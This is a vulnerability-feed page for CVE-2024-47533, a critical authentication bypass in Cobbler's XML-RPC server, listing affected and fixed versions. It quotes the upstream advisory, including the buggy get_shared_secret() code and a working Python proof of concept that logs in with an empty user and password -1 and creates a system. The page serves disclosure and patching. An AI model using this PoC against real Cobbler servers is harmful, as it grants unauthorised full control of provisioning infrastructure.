Answer in brief
CVE-2024-47533 records a Critical severity (CVSS 9.8) vulnerability in cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes. The current sources do not mark it as known exploited. The current feed maps cobbler (pip), cobbler (pip), cobbler (pypi), cobbler (pypi). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 9.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps cobbler (pip), cobbler (pip), cobbler (pypi), cobbler (pypi). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| cobblerpip | >=3.3.0,<3.3.7 | 3.3.7 |
| cobblerpip | >=3.0.0,<3.2.3 | 3.2.3 |
| cobblerpypi | >=3.3.0 <3.3.7 | 3.3.7 |
| cobblerpypi | >=3.0.0 <3.2.3 | 3.2.3 |
Published upstream
Nov 18, 2024
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Oct 27, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Oct 27, 2026
### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobbler secret which enables full access to Cobbler. """ try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ``` This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+. ### PoC ``` #!/usr/bin/python3 import ssl import xmlrpc.client params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url) try: token = conn.login(params['username'], params['password']) except xmlrpc.client.Fault as e: print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params)) except Exception as e: print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params)) print("Login success!") system_id = conn.new_system(token) ``` ### Impact This gives anyone with network access to a cobbler server full control of the server.
Quoted source text, attributed separately from HOL analysis.